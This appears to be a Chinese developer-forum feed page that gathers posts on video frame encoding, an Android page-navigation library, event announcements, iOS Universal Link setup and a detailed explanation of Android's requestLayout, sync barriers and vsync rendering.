    相信大家看了这个例子之后,心里应该大概明白编码的本质:只要不接收方不会产生误解,就可以产生数据的承载量,编码视频的本质也是如此,编码的本质就是减少数据的冗余

    • 在引入I(关键)帧,B/P(参考)帧之前,我们先来了解一下人眼和视频摄像头的对帧的识别

      我们人眼看实物的时候,一般的一秒钟只要是连续的16帧以上,我们就会认为事物是动的,对于摄像头来说,一秒钟所采集的图片远远高于了16帧,可以达到几十帧,对于一些高质量的摄像头,一秒钟可以达到60帧,对于一般的事物来说,你一秒钟能改变多少个做动作?所以,当摄像头在一秒钟内采集视频的时候,前后两帧的图片数据里有大量的相同数据,对于这些数据我们该怎么处理了?当然前后两帧也有不同的数据,对于这些相同或者不同的数据的处理过程,就是编码





    I帧(I-frames,也叫关键帧)

    • 我们知道在视频的传输过程中,它是分片段传输的,这个片段的第一帧,也就是第一张图片,就是I帧,也就是传说中的关键帧
    • I帧:也就是关键帧,帧内压缩(也就是压缩独立视频帧,被称为帧内压缩),帧内压缩通过消除包含在每个独立视频帧内的色彩以及结构中的冗余信息来进行压缩,因此可在不降低图片适量的情况下尽可能的缩小尺寸,这类似于JEPG压缩的原理,帧内压缩也可以称为有损压缩算法,但通常用于对原因图片的一部分进行处理,以生成极高质量的照片,通过这一过程的创建的帧称为I-frames;将第一帧完整的保存下来.如果没有这个关键帧后面解码数据,是完成不了的.所以I帧特别关键.

    P帧(P-frames,又称为预测帧)

    • P帧:向前参考帧(在I帧(关键帧)后,P帧参考关键帧,保存下一帧和前一帧的不同数据).压缩时只参考前一个帧.属于帧间压缩技术.
    • 帧间压缩技术:很多帧被组合在一起作为一组图片(简称GOP),对于GOP所存在的时间维度的冗余可以被消除,如果想象视频文件中的典型场景,就会有一些特定的运动元素的概念,比如行驶中的汽车或者街道上行走的路人,场景的背景环信通道是固定的,或者在一定的时间内,有些元素的改变很小或者不变,这些数据就称为时间上的冗余,这些数据就可以通过帧间压缩的方式进行消除,也就是帧间压缩,视频的第一帧会被作为关键帧完整保存下来.而后面的帧会向前依赖.也就是第二帧依赖于第一个帧.后面所有的帧只存储于前一帧的差异.这样就能将数据大大的减少.从而达到一个高压缩率的效果.这就是P帧,保存前后两帧不通的数据

    B帧(B-frames,又称为双向帧)

    • B帧,又叫双向帧,它是基于使用前后两帧进行编码后得到的帧,几乎不需要存储空间,但是解压过程会消耗较长的时间,因为它依赖周围其他的帧
    • B帧的特点:B帧使得视频的压缩率更高.存储的数据量更小.如果B帧的数量越多,你的压缩率就越高.这是B帧的优点,但是B帧最大的缺点是,如果是实时互动的直播,那时与B帧就要参考后面的帧才能解码,那在网络中就要等待后面的帧传输过来.这就与网络有关了.如果网络状态很好的话,解码会比较快,如果网络不好时解码会稍微慢一些.丢包时还需要重传.对实时互动的直播,一般不会使用B帧.如果在泛娱乐的直播中,可以接受一定度的延时,需要比较高的压缩比就可以使用B帧.如果我们在实时互动的直播,我们需要提高时效性,这时就不能使用B帧了.

    GOP一组帧的理解

    • 如果在一秒钟内,有30帧.这30帧可以画成一组.如果摄像机或者镜头它一分钟之内它都没有发生大的变化.那也可以把这一分钟内所有的帧画做一组.

    • 什么叫一组帧?
      就是一个I帧到下一个I帧.这一组的数据.包括B帧/P帧.我们称为GOP




    • 视频花屏/卡顿原因

      • 我们平常在观看视频的时候,出现视频的花屏或者卡顿,第一反应就是我们的网络出现了问题,其实我们的网络没有问题,是我们在解码的时候I帧,B/P帧出现了丢失
      • 如果GOP分组中的P帧丢失就会造成解码端的图像发生错误.
      • 为了避免花屏问题的发生,一般如果发现P帧或者I帧丢失.就不显示本GOP内的所有帧.只到下一个I帧来后重新刷新图像.
      • 当这时因为没有刷新屏幕.丢包的这一组帧全部扔掉了.图像就会卡在哪里不动.这就是卡顿的原因.

    所以总结起来,花屏是因为你丢了P帧或者I帧.导致解码错误. 而卡顿是因为为了怕花屏,将整组错误的GOP数据扔掉了.直达下一组正确的GOP再重新刷屏.而这中间的时间差,就是我们所感受的卡顿.



    作者:枫紫_6174
    链接:https://www.jianshu.com/p/94d2a8bbc3ac


    收起阅读 »

    Android 快速跳转库

    事情起源activity 或者 fragment 每次跳转传值的时候,你是不是都很厌烦那种,参数传递。 那么如果数据极其多的情况下,你的代码将苦不堪言,即使在很好的设计下,也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较比较:1.跳转方式比较ba...
    继续阅读 »

    事情起源

    activity 或者 fragment 每次跳转传值的时候,你是不是都很厌烦那种,参数传递。 那么如果数据极其多的情况下,你的代码将苦不堪言,即使在很好的设计下,也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较

    比较:

    1.跳转方式比较

    bash Intenti=new Intent(this,MainActivity.class); 
    startActivity(i);

    vs

    ApMainActivity.newInstance().start(this)
    //发送 Intenti=new Intent(this,MainActivity.class);
    Bundle bundle = new Bundle();
    bundle.putInt("message", "123");
    i.putExtra("Bundle", bundle);
    startActivity(i);
    //接收
    String s=bundle.getString("message","");

    vs

    //发送 
    ApMainActivity.newInstance().apply { message = "123" } .start(this)
    //接收
    AutoJ.inject(this);

    实体发送 

    //发送 
    ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21) } .start(this)
    //接收
    AutoJ.inject(this);

    目前 版本号 v1.0.7 更新内容:(专门为kotlin设计的快速跳转工具,如果你的项目只支持java语言请不要用该版本,建议用v1.0.2 地址 Version number v1.0.2) 

    1. 代码采用kotlin 语法糖 
    2. 支持默认值功能 
    3. 不再支持Serializable数据传输,改为性能更好的 Parcelable 大对象传输 
    4. 支持多进程activity 跳转 
    5. 降低内存占用,可回收内存提升
    AutoPage
    github地址 https://github.com/smartbackme/AutoPage 
    如果觉得不错 github 给个星 Android 容易的跳转工具
    注意事项:
    必须有如下两个要求
    androidx
    kotlin & java
    支持传输类型
    bundle 支持的基本类型都支持(除ShortArray) 以下类型都支持,如果类型不是如下类型,可能会报kapt错误

    :Parcelable
    String
    Long
    Int
    Boolean
    Char
    Byte
    Float
    Double
    Short
    CharSequence
    CharArray
    IntArray
    LongArray
    BooleanArray
    DoubleArray
    FloatArray
    ByteArray
    ArrayList
    ArrayList<:Parcelable>
    Array<:Parcelable>
    ###使用

    project : build.gradle 项目的gradle配置

       buildscript { repositories { maven { url 'https://www.jitpack.io' } } 

    在你的每个需要做容易跳转的模块添加如下配置 

    3. 你的项目必须要支持 kapt 

    4. kotlin kapt 

    5. 你的项目必须支持 @Parcelize 注解 也就是必须添加 

    apply plugin: 'kotlin-android-extensions'

    apply plugin: 'kotlin-android-extensions'
    apply plugin: 'kotlin-kapt'
    android { androidExtensions { experimental = true } }


    kapt com.github.smartbackme.AutoPage:autopage-processor:1.0.7
    implementation com.github.smartbackme.AutoPage:autopage:1.0.7

    重点

    1. @AutoPage 只能在字段或者类上标注
    1. Ap 作为前缀,为你快速跳转

    kotlin: 

    1. 字段必须标注 @JvmField 和 @AutoPage 

    2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

    java: 

    1. 字段必须标注 @AutoPage 

    2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

    ### Activity 中使用

    例1

    简单的跳转

    @AutoPage 
    class SimpleJump1Activity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_simple_jump1)
    }
    }

    之后调用

    ApSimpleJump1Activity.newInstance().start(this)

    例2

    简单的跳转并且带参数

    class MainActivity2 : AppCompatActivity() {


    @AutoPage
    @JvmField
    var message:String? = null

    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_main2)
    AutoJ.inject(this)
    findViewById(R.id.text).text = message
    }


     之后调用

    ApMainActivity2.newInstance().apply { message = "123" } .start(this)

    例3:

    跳转带有result

    @AutoPage class SimpleJumpResultActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) {     super.onCreate(savedInstanceState)     setContentView(R.layout.activitysimplejump_result) }override fun onBackPressed() {
    var intent = Intent()
    intent.putExtra("message","123")
    setResult(RESULT_OK,intent)
    super.onBackPressed()
    }


    之后调用

    ApSimpleJumpResultActivity.newInstance().apply { requestCode = 1 }.start(this)


    例4:

    实体传输

    实体 


    @Parcelize

    data class MyData(var message:String,var hehehe: Boolean,var temp :Int):Parcelable


    class AllDataActivity : AppCompatActivity() {


    @AutoPage
    @JvmField
    var myData:MyData? = null
    @AutoPage
    @JvmField
    var message:String? = "this is default value"
    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)

    setContentView(R.layout.activity_all_data)
    AutoJ.inject(this)


    Toast.makeText(this,myData?.toString()+message,Toast.LENGTH_LONG).show()
    }


    之后调用

    ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21)


    例5:

    默认值

    class DefaultValueActivity : AppCompatActivity() {


    @AutoPage
    @JvmField
    var message:String? = "this is default value"

    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_default_value)
    AutoJ.inject(this)

        // var args = intent.getParcelableExtra("123")

        findViewById(R.id.button6).text = message

    }

    }


    之后调用

    ApDefaultValueActivity.newInstance().apply { } .start(this)


    # 在 fragment 中使用

    class FragmentSimpleFragment : Fragment() {


    @AutoPage
    @JvmField
    var message:String? = null

    companion object {
    fun newInstance() = FragmentSimpleFragment()
    }

    private lateinit var viewModel: SimpleViewModel

    override fun onCreateView(
    inflater:
    LayoutInflater, container: ViewGroup?,
    savedInstanceState:
    Bundle?
    )
    : View {
    return inflater.inflate(R.layout.simple_fragment, container, false)
    }

    override fun onActivityCreated(savedInstanceState: Bundle?) {
    super.onActivityCreated(savedInstanceState)
    AutoJ.inject(this)
    viewModel = ViewModelProvider(this).get(SimpleViewModel::class.java)
    view?.findViewById(R.id.message)?.text = message

    }

    }


    之后调用

    ApFragmentSimpleFragment.newInstance().apply { message = "123" }.build()

    下载地址:AutoPage-master.zip

    收起阅读 »

    线上直播 | 开门5件事:一个CTO的随想

    4月23日晚20:00邀您一起收看线上直播【科创人· 案例研习社】听环信CTO赵贵斌为您讲述【开门5件事:一个CTO的随想】

    423日晚20:00


    邀您一起收看线上直播科创人· 案例研习社


    听环信CTO赵贵斌为您讲述开门5件事:一个CTO的随想



    线上直播 | 海外应用市场生存法则详解

    当今国内移动应用市场竞争日趋激烈,对于更广大的移动应用及开发者群体来说,如何开辟新的商业价值航路,成了当务之急,因此“出海”成了业界寻找出路的普遍战略选择。除了少数垂直领域的头部产品之外,更多的开发者和应用都表现出了“水土不服”的症候:产品本地化不理想,政策合...
    继续阅读 »

    当今国内移动应用市场竞争日趋激烈,对于更广大的移动应用及开发者群体来说,如何开辟新的商业价值航路,成了当务之急,因此“出海”成了业界寻找出路的普遍战略选择。

    除了少数垂直领域的头部产品之外,更多的开发者和应用都表现出了“水土不服”的症候:产品本地化不理想,政策合规难捉摸,缺少资源两眼一抹黑……这些都是老生常谈的出海难题了。


    当众多移动应用产品开始将出海作为“紧急避险”,那么这些问题就从“槽点”变成了必须尽快破解的燃眉之急。


    蝉学院大咖分享会本期课程

    蝉大师将联合环信的大咖

    一起来聊聊看国内移动应用该怎么做~

    WechatIMG6.jpegWechatIMG11.jpeg

    ____    『蝉学院2021』   ____


        2020年,蝉大师已面向全球移动应用开发者、中高端运营推广人员推出涵盖线上及线下的一系列公开课程。

        为千万用户提供了业内最新热点、用户运营、流量变现、产品推广等实战经验;并帮助相关人员了解当前互联网行业的趋势及增量技巧。

        

        2021年,蝉学院·大咖分享会系列将邀请众多行业一线大咖,快速捕捉热点、深度剖析观点,为大家提供一个交流分享、观点碰撞的全新平台。

        我们已整装待发,期待您与我们并肩同行!


    ____    『活动合集』   ____


    图片集锦.jpg


    ____    『主办方』   ____

    1蝉大师LOGOJPG图片.png

          蝉大师是App大数据分析与应用全球推广优化专家。作为Apple官方数据提供商,平台每日跟踪全球数百万款App以及各大海外信息平台实时动态,每日获取数据超过15T,为全球的上千万移动互联网应用从业者和推广者提供基础数据分析和支持。是国内首家提供全球155个国家与地区的榜单、关键词、热搜以及苹果搜索广告数据的公司,并在全国首家实现苹果ASM竞价搜索广告60个国家地区的数据查询。官网:chandashi.com



    568x186.jpg


          环信是国内领行的企业级软件服务提供商,荣膺“Gartner 2016 Cool Vendor”。旗下主要产品线包括即时通讯能力PaaS平台——环信即时通讯云,全场景音视频PaaS平台——环信实时音视频云,全媒体智能客服SaaS平台——环信客服云,以及企业级人工智能服务能力平台——环信机器人,是国内较早覆盖云通讯、云客服、智能机器人的一体化产品技术储备企服公司。

    收起阅读 »

    【14万现金奖不玩虚的】声网联合环信第三届RTE 2021创新编程挑战赛报名啦!

    第三届 RTE 2021 创新编程挑战赛开始报名啦! RTE(Real Time Engagement)2021 创新编程挑战赛,是由声网Agora 主办,面向全球开发者、编程爱好者与极客的一场在线黑客马拉松。参赛者可以基于声网Agora 产品实现社交泛娱乐、...
    继续阅读 »

    第三届 RTE 2021 创新编程挑战赛开始报名啦!

    RTE(Real Time Engagement)2021 创新编程挑战赛,是由声网Agora 主办,面向全球开发者、编程爱好者与极客的一场在线黑客马拉松。参赛者可以基于声网Agora 产品实现社交泛娱乐、在线教学、互动游戏、互动直播、IoT 等任何实时互动场景应用,竞争最终大奖。

    本届大赛将继续以“线上编程+线上提交+线上决赛的方式进行。不论你是高校学生、创业者、极客企业,还是个人开发者,只要你爱 Coding,都可以在这里挥洒创意,尽情创造。


    扫码加入交流群

    大赛日程安排

    官网报名——4月15日 - 5月28日

    组队开发——4月15日 - 5月28日

    作品提交——5月28日 - 6月2日

    线上决赛——6月12日


    今年的大赛有两个赛道,「应用创新挑战赛道」和「技术创新挑战赛道」,都是面向应用编程爱好者及团队的。

    赛道一:应用创新

    赛道一面向所有的应用开发者。作为大赛的传统赛道,开发者可以自由发挥想象,开发具备实时互动能力的应用。开发者可以使用包括视频/音频
    SDK、云信令 SDK、互动白板 SDK、录制 SDK、实时码流加速 SDK、云录制 SDK、环信 IM SDK
    等产品,实现创意应用,不限平台及开发语言。
    同时,今年我们还联合相芯科技、360 等合作伙伴,开放出他们的 AI 能力,开发者可以根据自己的需求进行结合,在应用中实现美颜、背景抠图等功能,给了赛道一更多的创新可能性。
    赛道一奖项设置


    一等奖:50000 元 x 1 支队伍
    二等奖:30000 元 x 1 支队伍
    三等奖:10000 元 x 1 支队伍
    环信专项奖:20000元 x 1 支队伍(详见官网说明)
    优秀奖 2000 若干
    所有获奖团队可加入声网Agora 招聘绿色通道
    所有获奖团队一年内享受声网创业支持计划的福利

    赛道一评奖规则


    评委会根据“完成度”、“创意度”、“潜在商业价值”等多个维度进行考量。点我了解详细作品要求和评奖规则。


    赛道二:技术创新

    赛道二仅面向 C++语言开发者。我们在声网音视频 SDK 的基础上,封装了两个插件接口。参赛团队可以将自己的产品或开源项目封装为插件,通过对接插件接口,让插件功能融入基于 Agora SDK 开发的各种实时互动场景中。同时利用该插件开发可运行演示的 Demo。
    目前已经有多个合作伙伴通过云市场插件接口,成功将视频美颜、滤镜、变声等音视频扩展能力融入了各类实时互动场景中。我们希望通过将该插件接口开放给社区,来激发开发者的更多创造力,拓展 RTC 技术能力边界。
    赛道二奖项设置


    技术创新专项奖:20000 元*1 支队伍
    优秀奖 2000 若干
    所有获奖团队可加入声网Agora 招聘绿色通道
    所有获奖团队一年内享受声网创业支持计划的福利

    赛道二评奖规则


    本赛题提交的作品插件及功能演示Demo需能够正常运行,方可入围参与后续的评审。评委会根据“代码完整度”、“文档完整度”、“稳定性”、“创意度”等多个维度进行考量评分。点此了解详细作品要求和评奖规则。

    大赛评委

    本届大赛邀请了来自多个技术社区、团队的技术负责人和资深工程师作为评委。他们将在最后评选阶段在线上根据作品的完成度、稳定性、创意性等维度进行打分。本届的评委包括:

    开赛线上培训

    不清楚有哪些 SDK 可以使用?还不知道能用 SDK 做什么场景?作品完成后,怎么让它成为热门开源项目?

    为了解答大家的这些疑问,我们还将在 4 月 27 日、28 日组织两场线上直播,分别邀请声网、环信的产品负责人、历届编程大赛冠军分享他们的经验。

    立即报名 


    收起阅读 »

    iOS Universal Link(点击链接跳转到APP)

    Universe Link跳转流程步骤1.登录苹果开发者中心  选择对应的appid ☑️勾选 Associated Domains  此处标记的Team ID 和 bundle ID  后面文件会用到2. 用text  ...
    继续阅读 »

    Universe Link跳转流程


    步骤

    1.登录苹果开发者中心  选择对应的appid ☑️勾选 Associated Domains  此处标记的Team ID 和 bundle ID  后面文件会用到


    2. 用text   创建  apple-app-site-association  文件     去掉后缀!!!!!


    3.打开xcode 工程 配置下图文件


    4.在appdelegate 里面 回调接收url  获取链接里面的参数


    5.最重要的一步来了!!!!!

    用txt 把创建好的  apple-app-site-association  给后台 开发人员  将此文件 放到服务器的根目录下面 例如 https://www.baidu.com/apple-app-site-association

    重点!!!!!!!!  必须用https  

    收起阅读 »

    requestLayout竟然涉及到这么多知识点

    1. 背景 最近有个粉丝跟我提了一个很有深度的问题。 粉丝:锁屏后,调用View.requestLayout()方法后会不会postSyncBarrier? 乍一看有点超纲了。细细一想,我把这个问题拆分成了两个问题,本文我将紧紧围绕这两个问题,讲解requ...
    继续阅读 »

    1. 背景


    最近有个粉丝跟我提了一个很有深度的问题。



    粉丝:锁屏后,调用View.requestLayout()方法后会不会postSyncBarrier?



    乍一看有点超纲了。细细一想,我把这个问题拆分成了两个问题,本文我将紧紧围绕这两个问题,讲解requestLayout背后的故事。



    其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?


    其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?



    postSyncBarrier我知道,Handler的同步屏障机制嘛,但是锁屏之后为什么还要调用requestLayout()呢?于是我脑补了一个场景。



    假设在Activity onResume()中每隔一秒调用View.requestLayout(),但是在onStop()方法中没有停止调用该方法。当用户锁屏或者按Home键时。



    我脑补的这个场景,用罗翔老师的话来讲是 “法律允许,但是不提倡”。当Activity不在前台的时候,就应该把requestLayout()方法停掉嘛,我们知道的,这个方法会从调用的View一层一层往上调用直到ViewRootImpl.requestLayout()方法,然后会从上往下触发View的测量和布局甚至绘制方法。非常之浪费嘛!错误非常之低级!但是果真如此吗?


    电竞主播芜湖大司马,有一句网络流行语你以为我在第一层,其实我在第十层。下面我将用层级来表示对requestLayout方法的了解程度,层级越高,表示了解越深刻。


    了解我的粉丝都知道,我喜欢用树形图来分析Android View源码。上图:


    2. 第一层(往上,层层遍历)


    假设调用I.requestLayout(),会触发哪些View的requestLayout方法?


    答:会依次触发I.requestLayout() -> C.requestLayout() -> A.requestLayout() -> ...省略一些View -> ViewRootImpl.requestLayout()


    //View.java
    public void requestLayout() {
    // 1. 清除测量记录
    if (mMeasureCache != null) mMeasureCache.clear();

    // 2. 增加PFLAG_FORCE_LAYOUT给mPrivateFlags
    mPrivateFlags |= PFLAG_FORCE_LAYOUT;
    mPrivateFlags |= PFLAG_INVALIDATED;

    // 3. 如果mParent没有调用过requestLayout,则调用之。换句话说,如果调用过,则不会继续调用
    if (mParent != null && !mParent.isLayoutRequested()) {
    mParent.requestLayout();
    }
    }
    复制代码

    该方法作用如下:



    1. 清除测量记录

    2. 增加PFLAG_FORCE_LAYOUT给mPrivateFlags

    3. 如果mParent没有调用过requestLayout,则调用之。换句话说,如果调用过,则不会继续调用


    重点看下mParent.isLayoutRequested()方法,它在View.java中有具体实现


    //View.java
    public boolean isLayoutRequested() {
    return (mPrivateFlags & PFLAG_FORCE_LAYOUT) == PFLAG_FORCE_LAYOUT;
    }
    复制代码

    如果mPrivateFlags增加PFLAG_FORCE_LAYOUT标志位,则认为View已经请求过布局。由前文可知,在requestLayout的第二步会增加该标志位。熟悉位操作的朋友就会知道,有增加操作就会有对应的清除操作。 经过一番搜索,找到:


    //View.java
    public void layout(int l, int t, int r, int b) {
    // ... 省略代码
    //在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉
    mPrivateFlags &= ~PFLAG_FORCE_LAYOUT;
    mPrivateFlags3 |= PFLAG3_IS_LAID_OUT;
    // ... 省略代码
    }
    复制代码

    在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉。当View下次再调用requestLayout方法时,依旧能往上层层调用。但是如果当layout()方法没有执行时,下次再调用requestLayout方法时,就不会往上层层调用了。


    所以先回答文章开始的第一个问题:



    其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?


    答:锁屏后,除了第一次调用会往上层层调用,其它的都不会




    为什么,只有第一次调用会呢?那必定是因为layout方法没有得到执行,导致PFLAG_FORCE_LAYOUT无法被清除。欲知后事,接着往下看呗



    如果你知道requestLayout调用是一个层级调用,那么恭喜你,你已经处于认知的第一层了。送你一张二层入场券。

    3. 第二层(ViewRootImpl.requestLayout)


    我们来看看第一层讲到的ViewRootImpl.requestLayout()


    //ViewRootImpl.java
    @Override
    public void requestLayout() {
    if (!mHandlingLayoutInLayoutRequest) {
    checkThread();
    mLayoutRequested = true;
    scheduleTraversals();
    }
    }

    void scheduleTraversals() {
    if (!mTraversalScheduled) {
    mTraversalScheduled = true;
    //1. 往主线程的Handler对应的MessageQueue发送一个同步屏障消息
    mTraversalBarrier = mHandler.getLooper().getQueue().postSyncBarrier();
    //2. 将mTraversalRunnable保存到Choreographer中
    mChoreographer.postCallback(
    Choreographer.CALLBACK_TRAVERSAL, mTraversalRunnable, null);
    if (!mUnbufferedInputDispatch) {
    scheduleConsumeBatchedInput();
    }
    notifyRendererOfFramePending();
    pokeDrawLockIfNeeded();
    }
    }
    复制代码

    该方法主要作用如下:



    1. 往主线程的Handler对应的MessageQueue发送一个同步屏障消息

    2. 将mTraversalRunnable保存到Choreographer中


    此处有三个特别重要的知识点:



    1. mTraversalRunnable

    2. MessageQueue的同步屏障

    3. Choreographer机制


    mTraversalRunnable相对比较简单,它的作用就是从ViewRootImpl 从上往下执行performMeasure、performLayout、performDraw。[重点:敲黑板]它的执行时机是当Vsync信号来到时,会往主线程的Handler对应的MessageQueue中发送一条异步消息,由于在scheduleTraversals()中给MessageQueue中发送过一条同步屏障消息,那么当执行到同步屏障消息时,会将异步消息取出执行


    4. 第三层(TraversalRunnable)


    当vsync信号量到达时,Choreographer会发送一个异步消息。当异步消息执行时,会调用ViewRootImpl.mTraversalRunnable回调。


    final class TraversalRunnable implements Runnable {
    @Override
    public void run() {
    doTraversal();
    }
    }
    复制代码

    void doTraversal() {
    if (mTraversalScheduled) {
    mTraversalScheduled = false;
    mHandler.getLooper().getQueue().removeSyncBarrier(mTraversalBarrier);

    if (mProfile) {
    Debug.startMethodTracing("ViewAncestor");
    }

    performTraversals();

    if (mProfile) {
    Debug.stopMethodTracing();
    mProfile = false;
    }
    }
    }
    复制代码

    它的作用:



    1. 移除同步屏障

    2. 执行performTraversals方法


    performTraversals()方法特别复杂,给出伪代码如下


    private void performTraversals() {
    if (!mStopped || mReportNextDraw) {
    performMeasure()
    }

    final boolean didLayout = layoutRequested && (!mStopped || mReportNextDraw);
    if (didLayout) {
    performLayout(lp, mWidth, mHeight);
    }

    boolean cancelDraw = mAttachInfo.mTreeObserver.dispatchOnPreDraw() || !isViewVisible;

    if (!cancelDraw && !newSurface) {
    performDraw();
    }
    }
    复制代码

    该方法的作用:



    1. 满足条件的情况下调用performMeasure()

    2. 满足条件的情况下调用performLayout()

    3. 满足条件的情况下调用performDraw()


    mStopped表示Activity是否处于stopped状态。如果Activity调用了onStop方法,performLayout方法是不会调用的。


    //ViewRootImpl.java
    private void performLayout(WindowManager.LayoutParams lp, int desiredWindowWidth,
    int desiredWindowHeight) {
    // ... 省略代码
    host.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());
    // ... 省略代码
    }
    复制代码

    回答文章开始的第二个问题:



    其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?


    答:不会,因为当前Activity处于stopped状态了



    至此第一层里面留下的小悬念也得以解开,因为不会执行View.layout()方法,所以PFLAG_FORCE_LAYOUT不会被清除,导致接下来的requestLayout方法不会层层往上调用。


    至此本文的两个问题都已经得到了答案。


    当我把问题提交给鸿洋大佬的wanandroid上时,大佬又给我提了一个问题。



    鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?



    于是我写了个demo来验证


    //MyDemoActivity.kt
    override fun onStop() {
    super.onStop()
    root.postDelayed(object : Runnable {
    override fun run() {
    root.requestLayout()
    println("ChoreographerActivity reqeustLayout")
    }
    }, 1000)
    }
    复制代码

    在自定义布局的onLayout方法中打印日志


    @Override
    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
    System.out.println("ChoreographerActivity onLayout");
    super.onLayout(changed, left, top, right, bottom);
    }
    复制代码

    锁屏,1s后调用requestLayout,日志没有打印,1s后亮屏,发现日志打印了。


    所以



    鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?


    我:经过demo验证会。原因且听我道来



    有了demo找原因就很简单了。正面不好攻破,那就祭出调试大法呗。但是断点放在哪好呢?思考了一番。我觉得断点放在发送同步屏障的地方比较好,ViewRootImpl.scheduleTraversals()。为什么断点放这里?(那你就得了解同步屏障和vsync刷新机制了,后文会讲) 


    亮屏后,发现断点执行了。从堆栈中可以看出Activity的performRestart()方法执行了ViewRootImpl的scheduleTraversals方法。

    虽然,亮屏的时候没有执行View.requestLayout方法,由于锁屏后1s执行了View.requestLayout方法,所以PFLAG_FORCE_LAYOUT标记位还是有的。亮屏调用了performTraversals方法时,会执行Measure、Layout、Draw等操作。


    至此,完美回答了粉丝和鸿洋大佬的问题

    5. 第四层(Handler同步屏障)


    Handler原理,也是面试必问的问题。涉及到很多知识点。线程、Looper、MessageQueue、ThreadLocal、链表、底层等技术。本文我就不展开讲了。如果对Handler不是很了解。也不影响本层次的学习。但是还是强烈建议看完本文后再另行补课。



    A同学:同步屏障。感觉好高大上的样子?能给我讲讲吗?


    我:乍一看,是挺高大上的。让人望而生畏。但是细细一想,也不是那么难,说白了就是将Message分成三种不同类型


    A同学:此话怎讲,愿闻其详~


    我:如下代码应该看得懂吧?


    class Message{
    int mType;
    //同步屏障消息
    public static final int SYNC_BARRIER = 0;
    //普通消息
    public static final int NORMAL = 1;
    //异步消息
    public static final int ASYNCHRONOUS = 2;
    }
    复制代码

    A同学:这很简单呀,平时开发中经常用不同的值表示不同的类型,但是android中的Message类并没有这几个不同的值呀?


    我:Android Message 类确实没有用不同的值来表示不同类型的Message。它是通过target和isAsynchronous()组合出三种不同类型的Message。
































    消息类型targetisAsynchronous()
    同步屏障消息null无所谓
    异步消息不为null返回true
    普通消息不为null返回false
    A同学:理解了,那么它们有什么区别呢?

    我:世界上本来只有普通消息,但是因为事情有轻重缓急,所以诞生了同步屏障消息和异步消息。它们两是配套使用的。当消息队列中同时存在这三种消息时,如果碰到了同步屏障消息,那么会优先执行异步消息。


    A同学:有点晕~


    我:别急,且看如下图解






    1. 绿色表示普通消息,很守规矩,按照入队顺序依次出队。

    2. 红色表示异步消息,意味着它比较着急,有优先执行的权利。

    3. 黄色表示同步屏障消息,它的作用就是警示,后续只会让异步消息出队,如果没有异步消息,则会一直等待。


     如上图,消息队列中全是普通消息。那么它们会按照顺序,从队首依次出队列。msg1->msg2->msg3


     如上图,三种类型消息全部存在,msg1是同步屏障消息。同步屏障消息并不会真正执行,它也不会主动出队列,需要调用MessageQueue的removeSyncBarrier()方法。它的作用就是"警示",后续优先让红色的消息出队列。



    1. msg3出队列


     2. msg5出队列 



    1. 此刻msg2并不会出队列,队列中已经没有了红色消息,但是存在黄色消息,所以会一直等红色消息,绿色消息得不到执行机会


    1. 调用removeSyncBarrier()方法,将msg1出队列


    1. 绿色消息按顺序出队



    postSyncBarrier()和removeSyncBarrier()必须成对出现,否则会导致消息队列出现假死情况。



    同步屏障就介绍到这,如果没明白的话,建议网上搜索其它资料阅读。


    6. 第五层(Choreographer vsync机制)



    B同学:vsync机制感觉好高大上的样子?能给我讲讲吗


    我:这个东西比较底层了,我也太清楚,但是有一个比较取巧的理解方式。


    B同学:说来听听。


    我:观察者模式听过吧,vsync信号是由底层发出的。具体情况我不清楚,但是上层有个类监听vsync的信号,当接收到信号时,就会通过Choreographer向消息队列发送异步消息,这个消息的作用之一就是通知ViewRootImpl去执行测量,布局,绘制操作。



    //Choreographer.java
    private final class FrameDisplayEventReceiver extends DisplayEventReceiver
    implements Runnable {
    private boolean mHavePendingVsync;
    private long mTimestampNanos;
    private int mFrame;


    @Override
    public void onVsync(long timestampNanos, int builtInDisplayId, int frame) {

    //...省略其他代码
    long now = System.nanoTime();
    if (timestampNanos > now) {
    Log.w(TAG, "Frame time is " + ((timestampNanos - now) * 0.000001f)
    + " ms in the future! Check that graphics HAL is generating vsync "
    + "timestamps using the correct timebase.");
    timestampNanos = now;
    }

    if (mHavePendingVsync) {
    Log.w(TAG, "Already have a pending vsync event. There should only be "
    + "one at a time.");
    } else {
    mHavePendingVsync = true;
    }

    mTimestampNanos = timestampNanos;
    mFrame = frame;
    Message msg = Message.obtain(mHandler, this);
    msg.setAsynchronous(true);
    mHandler.sendMessageAtTime(msg, timestampNanos / TimeUtils.NANOS_PER_MS);
    }
    复制代码

    7. 第六层(绘制机制)


    ViewRootImpl和Choreographer是绘制机制的两大主角。他们负责功能如下。具体就不展开写了。




    作者:字节小站
    链接:https://juejin.cn/post/6952624592514973732
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(2)

